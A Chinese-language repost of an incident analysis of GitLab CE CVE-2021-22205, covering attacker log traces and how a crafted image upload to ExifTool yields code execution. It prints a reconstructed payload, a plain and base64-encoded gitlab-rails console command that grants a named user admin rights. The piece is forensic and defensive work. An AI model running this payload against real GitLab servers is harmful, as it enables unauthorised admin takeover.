详细分析GitLab CE 已遭在野利用漏洞 (CVE-2021-22205)

54a1d1aafb84a4a6cdfd66d7e9076368.gif 聚焦源代码安全,网罗国内外最新资讯!

作者:Piergiovanni Cipolloni

编译:代码卫士

0e5cb65344b090c002a7a5df8d30bf82.gif

43edba0b84aec4a2b083de64685ed79a.png

HN Security 团队指出,几个月前,客户在自己的 GitLab CE 服务器上发现了两个可疑的具有管理员权限的用户账户,并邀请研究人员进行调查。如下是调查结果。

(1)   在2021年6月至7月间,两名用户注册了看似随机的用户名。

30893e8701ac68b3850235fdd3253667.png

这种随机用户名是可能存在的,因为该GitLab CE版本默认允许用户进行注册。此外,在默认情况下注册阶段不会验证邮箱地址,因此新建用户在无需任何后续步骤的情况下可自动登录。另外也不会向管理员发送任何通知。

6f3ed96d1487306327d579f35b87d4f8.png

(2)几天后,攻击者登录到 GitLab 服务器,这两个新建用户显然并未执行其它任何操作。

因此,研究员决定调查攻击者如何将权限提升至管理员。好在日志有备份,于是研究员从如下日志文件中找到了利用步骤的第一批踪迹:

/var/log/gitlab/nginx/gitlab-access.log
/var/log/gitlab/nginx/access.log

攻击者执行的操作如下:

(a)   用户注册和登录:

"GET /users/sign_up HTTP/1.1" 302 122 "" "python-requests/2.25.1" 
"GET /users/sign_in HTTP/1.1" 200 4042 "" "python-requests/2.25.1" 
"GET /users/sign_in HTTP/1.1" 200 4043 "" "python-requests/2.25.1" 
"POST /users HTTP/1.1" 302 113 "" "python-requests/2.25.1" 
"GET /dashboard/projects HTTP/1.1" 200 8185 "" "python-requests/2.25.1" 
"GET /users/sign_in HTTP/1.1" 200 4043 "" "python-requests/2.25.1" 
"POST /users/sign_in HTTP/1.1" 302 95 "" "python-requests/2.25.1" 
"GET / HTTP/1.1" 200 8068 "" "python-requests/2.25.1"

(b)   滥用 GitLab API,列出所有项目(包括私密项目在内):

"GET /api/v4/projects/?simple=yes&private=true&per_page=1000&page=1 HTTP/1.1" 200 2760 "" "python-requests/2.25.1"

(c)   为清单中的第一个项目列出问题,之后上传相关附件:

"GET /user/project HTTP/1.1" 200 13567 "" "python-requests/2.25.1" 
"GET /user/project/issues/new HTTP/1.1" 200 10317 "" "python-requests/2.25.1" 
"POST /user/project/uploads HTTP/1.1" 422 24 "https://git.victim/user/project/issues/new" "python-requests/2.25.1"

这就是全部内容。攻击者并未执行其它操作。

附件上传引起了研究人员的注意,因此他们在实验室设置了一个 GitLab 服务器,试图复现在野观察到的。同时,研究人员发现最近发布的 CVE-2021-22205 的 exploit 滥用上传功能远程执行任意 OS 命令。该漏洞位于用于删除图像中元数据的开源工具 ExifTool 中,由于未能解析嵌入在所上传图像中的某些元数据,因此导致代码执行后果。

GitLab 由很多组件(Redis、Nginx等)组成。处理上传的组件时 gitlab-workhorse,它会在将最终附件上传到 Rails 之前调用 ExifTool。

422f7988ce2fb1bcc75da69fd7b3ed2b.png

于是研究人员继续深挖,结果发现Workhorse 日志中的两次上传失败证据。之后研究人员在实验室服务器上运行了公开发布的 exploit,并在日志中发现了非常类似的模式。

{"correlation_id":"cp1VzPnRzE4","filename":"exploit.jpg","level":"info","msg":"running exiftool to remove any metadata","time":"2021-09-20T10:30:04+02:00"}
{"command":["exiftool","-all=","--IPTC:all","--XMP-iptcExt:all","-tagsFromFile","@","-ResolutionUnit","-XResolution","-YResolution","-YCbCrSubSampling","-YCbCrPositioning","-BitsPerSample","-ImageHeight","-ImageWidth","-ImageSize","-Copyright","-CopyrightNotice","-Orientation","-"],"correlation_id":"cp1VzPnRzE4","error":"exit status 1","level":"info","msg":"exiftool command failed","stderr":"Error: Writing of this type of file is not supported - -\n","time":"2021-09-20T10:30:24+02:00"}
{"correlation_id":"cp1VzPnRzE4","error":"error while removing EXIF","level":"error","method":"POST","msg":"error","time":"2021-09-20T10:30:24+02:00","uri":"/uploads/user"}

遗憾的是,ExifTools 未能保存所上传图像,因此无法轻易识别出真正执行的payload。

公开exploit 使用的 payload 可执行反向shell,而攻击客户的exploit 仅仅是将两个此前注册用户的权限提升至管理员权限。那么攻击者使用的 payload 是什么样的?阅读了GitLab 文档后,研究人员写出如下一行代码,可用于从命令行操纵用户资料(包括权限):

echo 'user = User.find_by(username: "czxvcxbxcvbnvcxvbxv");user.admin="true";user.save!' | gitlab-rails console


/usr/bin/echo dXNlciA9IFVzZXIuZmluZF9ieSh1c2VybmFtZTogImN6eHZjeGJ4Y3ZibnZjeHZieHYiKTt1c2VyLmFkbWluPSJ0cnVlIjt1c2VyLnNhdmUh | base64 -d | /usr/bin/gitlab-rails console

研究人员使用如上命令作为公开exploit 的payload,并成功获取了此前他们所创建的两名用户的管理员权限。

因此看似是提权漏洞,实际上是RCE漏洞。

在分析过程中,研究人员还发现了值得关注的几个点。似乎整个利用进程可精简为两个请求:在默认 GitLab 安装(13.10.2 及之前版本)下,无需滥用 APT 找到合法项目,也无需设立任何问题,而最重要的是无需进行任何验证:

472fa6295ae94e3dfbecea779f0aa959.png

(获取 "csrf-token"/"authenticity-token” 的第一个请求)

b531f61a78541c4a8836425dba980829.png

(执行未认证恶意上传的第二个请求)

GitLab CE 最新版本(目前是14.4.0)中并不存在本文中提到的所有漏洞(ExifTool、API 滥用、用户注册等)。


推荐阅读

数据保护法规可被滥用于人肉 GitLab 用户和接管账户

GitLab Elasticsearch 私密群组数据泄露 bug 值3000美元

我发现了 GitLab 的一个 RCE 漏洞,获得奖金2万美元

速查是否中招!攻击者正在擦除 GitHub 和 GitLab 仓库还有 Bitbucket并实施勒索!

Waydev 客户的GitHub 和 GitLab OAuth 令牌被盗,源代码遭访问

原文链接

https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/

题图:Pixabay License

本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

417e97b28d8173fddbdcf4ab6eab1982.png

caa2ba65dc1b5a17f701fa342e3c8c7b.png

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。

   13696c88a66709df1ff494b20b2df005.gif 觉得不错,就点个 “在看” 或 "赞” 吧~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值